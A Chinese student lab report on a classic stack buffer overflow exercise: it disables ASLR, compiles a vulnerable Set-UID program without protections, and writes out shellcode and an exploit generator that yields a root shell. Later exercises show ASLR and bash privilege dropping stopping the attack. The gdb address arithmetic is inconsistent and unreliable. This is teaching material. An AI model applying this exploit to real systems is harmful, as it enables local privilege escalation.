缓冲区溢出漏洞实验

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

一、实验准备

利用实验楼提供的环境进行实验操作,本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。命令安装一些用于编译 32 位 C 程序的软件包:

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

二、实验步骤

1. 初始设置

Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

sudo sysctl -w kernel.randomize_va_space=0

此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。

linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

输入命令 linux32 进入32位linux环境。输入 /bin/bash 使用bash:

2. shellcode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。观察以下代码:

#include <stdio.h>
int main()
{char *name[2];name[0] = "/bin/sh";name[1] = NULL;execve(name[0], name, NULL);
}

本次实验的 shellcode,就是上述代码的汇编版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3. 漏洞程序

(1)在 /tmp 目录下新建一个 stack.c 文件,并输入以下内容:

/* stack.c *//* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>int bof(char *str)
{char buffer[12];/* The following statement has a buffer overflow problem */ strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;
}

通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

(2)编译该程序,并设置 SET-UID。命令如下:

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。

-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

攻击程序

我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。

(1)在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>char shellcode[] ="\x31\xc0" //xorl %eax,%eax"\x50"     //pushl %eax"\x68""//sh" //pushl $0x68732f2f"\x68""/bin"     //pushl $0x6e69622f"\x89\xe3" //movl %esp,%ebx"\x50"     //pushl %eax"\x53"     //pushl %ebx"\x89\xe1" //movl %esp,%ecx"\x99"     //cdq"\xb0\x0b" //movb $0x0b,%al"\xcd\x80" //int $0x80;void main(int argc, char **argv)
{char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);
}

注意上面的代码,\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。

(2)现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:

gdb stack
disass main

结果如图:

(3)esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。

# 设置断点
b *0x080484ee
r
i r $esp

最后获得的这个 0xffffd2b0 就是 str 的地址。根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd4b0 + 0x64 = 0xffffd014

(4)现在修改 exploit.c 文件,将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff,注意顺序是反的。然后,编译 exploit.c 程序:

gcc -m32 -o exploit exploit.c

攻击结果

先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

可见,通过攻击,获得了root 权限!

练习2:

通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。

可见攻击失败。由于地址空间随机化被开启,导致之前计算的地址与实际的地址出现了不同,从而不能完成攻击。

练习3:

将 /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。 

从图可知,攻击失败。使用的bash程序,当shell运行时,没有root权限,此时,即便攻击程序攻击了漏洞程序,也无法获得root权限。

实验总结

此次实验让我明白了堆栈地址与权限的作用,堆栈初始地址的随机化和放弃root权限对于防止黑客利用缓存区溢出进行攻击有非常重要的作用。另一方面,我们在编写程序的时候要注意对缓存区的处理,减少黑客的攻击方式。也让我了解了什么是缓冲区溢出。缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

2021-2022-1 20212820《Linux内核原理与分析》第十二周作业相关推荐

  1. 2018-2019-1 20189204《Linux内核原理与分析》第三周作业

    OS是如何工作的 学习任务: 阅读学习教材「庖丁解牛Linux 」第2章 学习蓝墨云班课中第三周视频「操作系统是如何工作的?」,并完成实验楼上配套实验二. 云班课学习笔记: 计算机三大法宝 程序存储计 ...

  2. 2018-2019-1 20189206 《Linux内核原理与分析》第六周作业

    linux内核分析学习笔记 --第五章 系统调用的三层机制 学习重点--深入理解系统调用的过程 给MenuOS添加命令 添加命令的方式较为简单,在LinuxKernel/menu/test.c目录下, ...

  3. 20169210《Linux内核原理与分析》第十一周作业

    第17章 设备与模块 关于设备驱动和设备管理,讨论四种内核成分. 设备类型:在所有的linux系统中为了统一普遍设备的操作所分的类. 模块:Linux内核中用于按需加载和卸载目标码的机制. 内核对象: ...

  4. 20169207《Linux内核原理与分析》第五周作业

    这周的任务主要分为两个方面,第一方面,学习MOOC网上视频第三讲并完成配套的实验.第二方面,学习课本的第四章和第六章. 首先从实验开始讲起,前期我们对Linux内核的源码做了一个简单的了解.包括Mai ...

  5. 《Linux内核原理与分析》第五周作业

    课本:第4章 系统调用的三层机制(上) -用户态.内核态和中断 -用户态:在低的执行级别下,代码能够掌控的范围有所限制,只能访问部分内存. -内核态:在高的执行级别下,代码可以执行特权指令,访问任意的 ...

  6. 20189220 余超《Linux内核原理与分析》第八周作业

    Linux内核如何装载和启动一个可执行程序 本章知识点 ELF(Executable and Linking Format)是一种对象文件的格式,用于定义不同类型的对象文件(Object files) ...

  7. 20189220 余超《Linux内核原理与分析》第七周作业

    分析Linux内核创建一个新进程的过程 基础知识概括 操作系统内核实现操作系统的三大管理功能,即进程管理功能,内存管理和文件系统.对应的三个抽象的概念是进程,虚拟内存和文件.其中,操作系统最核心的功能 ...

  8. 2018-2019-1 20189206 《Linux内核原理与分析》第五周作业

    linux内核分析学习笔记 --第四章 系统调用的三层机制 学习重点--系统调用 用户态.内核态和中断 Intel x86 CPU有四种不同的执行级别,分别是0,1,2,3其中数字越小,特权越高. L ...

  9. 2022-2023-1 20222816《Linux内核原理与分析》第三周作业

    1.实验要求 完成一个简单的时间片轮转躲到程序内核代码 2.实验过程 进入实验楼,打开shell,输入一下代码: 实验结果: 3.mykernel时间片轮转代码分析 mypcb.h头文件,用来定义进程 ...

  10. 20222817《Linux内核原理与分析》第七周作业

    分析 Linux 内核创建一个新进程的过程 1.实验过程 下载新menu替换原来的menu并make: 使用gdb设置断点并调试,调试过程如下图所示: 2.实验分析及总结 do_fork关键代码分析 ...

最新文章

  1. linux 命令安装redis
  2. 【总结整理】登录模块---摘自《人人都是产品经理》
  3. 生产环境LNMP (果图片)
  4. caffe FCN网络的训练——以SIFT-Flow 数据集为例
  5. 今年美国广告程序化购买支出将超252亿美元
  6. iOS QQ分享图片无反应问题
  7. 【两种方法】基础实验4-2.7 修理牧场 (25 分)
  8. 程序员去交友网站找女友,没想到找到了这个...
  9. C++学习系列笔记(八)
  10. 跨媒体检索(关联)之基于CCA的方法大总结
  11. 对抗生成网络(Generative Adversarial Network, GAN)
  12. MySQL 字符串拼接 - 多种字符串拼接实战案例
  13. 网络操作系统属于计算机网络的资源子网吗,属于计算机网络的资源子网.pdf
  14. JAVA招聘管理系统计算机毕业设计Mybatis+系统+数据库+调试部署
  15. 通过SQL注入获得网站后台用户密码
  16. Android图片无损缩放,Android图片查看器(图片可挪动、缩放)
  17. react中使用构建缓存_如何使用React,GraphQL和Okta构建健康跟踪应用
  18. 数据库三范式最简理解(第一范式,第二范式,第三范式)
  19. TP问题现象分析和解决方法汇总
  20. matlab双线性变换切比雪夫2,语音信号滤波去噪——使用双线性变换法设计切比雪夫II型.doc...

热门文章

  1. 嵌入式Linux开发24——Linux 按键输入实验
  2. Android SoundTouch(处理音频)
  3. 【怎么安装Win7桌面主题】
  4. oracle定时器查看,oracle定时器-Oracle
  5. RK3588 EVB1蓝牙休眠唤醒调试
  6. 最新坦克大战2022-全程开发笔记-1
  7. 实习“满月”工作感受
  8. dart参数传方法_Dart语法
  9. AutoCAD二次开发三种添加插件按钮的方法之一
  10. 如何查看container工作在哪种网络模式